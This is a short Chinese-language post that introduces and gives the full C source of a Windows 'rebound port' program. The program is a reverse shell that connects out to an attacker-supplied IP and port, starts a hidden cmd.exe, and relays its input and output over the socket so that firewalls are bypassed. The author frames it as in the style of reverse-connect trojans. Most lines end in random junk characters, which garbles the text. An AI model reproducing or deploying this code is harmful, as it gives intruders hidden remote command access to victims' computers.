这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n1H*][CK
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/* ============================== _%t w#cM
Rebound port in Windows NT (vQShe\
By wind,2006/7 9qw~]W~Nm
===============================*/ ^!A{ 4NV
#include }Iu 6]?|'
#include }RD,JgmV
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#pragma comment(lib,"wsock32.lib") D,NjDIG8
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void OutputShell(); 5vS'Qhc
SOCKET sClient; lY6U $*9c
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j*CnnM#n
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void main(int argc,char **argv) 'HOt?lpu!
{ blLX ncyD
WSADATA stWsaData; ztu N0}'
int nRet; [\I\).
SOCKADDR_IN stSaiClient,stSaiServer; +ux,cx.U"
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if(argc != 3) z8gp<5=
{ n.XT-X^
printf("Useage:\n\rRebound DestIP DestPort\n"); poM VB{U
return; towQoqv
} f5'+F-`N
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WSAStartup(MAKEWORD(2,2),&stWsaData); %cBJ haR{(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aa$+(
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stSaiClient.sin_family = AF_INET; kg_TXB
stSaiClient.sin_port = htons(0); Z{%h6""
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |`,%%p|T%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A6-JV8^
{ `>K;S!z
printf("Bind Socket Failed!\n"); +|^rz#X
return; P}cGWfj
} ^G5_d"Gr
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stSaiServer.sin_family = AF_INET; 42Z2Mjtk
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O%rjY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); htIV`_<Ro
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U#YM)8;Iz
{ ni9/7
printf("Connect Error!"); kGCd!$fsk
return; hMi`n6m
} ZU/6#pb
OutputShell(); e5MX5 T^
} ,*Sj7qb#
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void OutputShell() =T!M`
{ Uh*V>HA#
char szBuff[1024]; E{h
SECURITY_ATTRIBUTES stSecurityAttributes; &g|-3)A
OSVERSIONINFO stOsversionInfo; ,LG6py&aT
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !MoGdI-<r[
STARTUPINFO stStartupInfo; CmM K\R.
char *szShell; _8kZ>w( L
PROCESS_INFORMATION stProcessInformation; -fYgTst2
unsigned long lBytesRead; I9H+ $Wjd
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ow<=K:^
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $:SHZe
stSecurityAttributes.lpSecurityDescriptor = 0; qY0p)`3!%
stSecurityAttributes.bInheritHandle = TRUE; tZwZZ0]Z
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ShFSBD\M#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); GJU84Xn7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GoZr[=d
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NEJxd%-
stStartupInfo.wShowWindow = SW_HIDE; rD
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stStartupInfo.hStdInput = hReadPipe; 9tWu>keu
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c:M~!CXO
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GetVersionEx(&stOsversionInfo); (m25ZhW
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switch(stOsversionInfo.dwPlatformId) Ac|IBXGa=
{ &")ON[|b
case 1: 2{% U\^-
szShell = "command.com"; dk# LAm0<
break; NO8)XJ3s
default: _5y3<H<?
szShell = "cmd.exe"; z\{ y[3-
break; *#w+*ywVZH
} C8%q?.nH=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8 YsDE_
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send(sClient,szMsg,77,0); V`m'r+ Y
while(1) =Z2Cg{z
{ Rra<MOR
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ".Luc7
if(lBytesRead) C0Z
mv
{ ~A(fn:d
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }$?xwcPU
send(sClient,szBuff,lBytesRead,0); s,)Z8H
} 9s7sn*aB#5
else M<4~ewWJ
{ 7X*$Fu<
lBytesRead=recv(sClient,szBuff,1024,0); tU.Y$%4
if(lBytesRead<=0) break; 7='lu;=,
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); M3!A?!BU
} |9Q4VY'";
} }vgeQh-G
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return; Q,S~+bD(z
}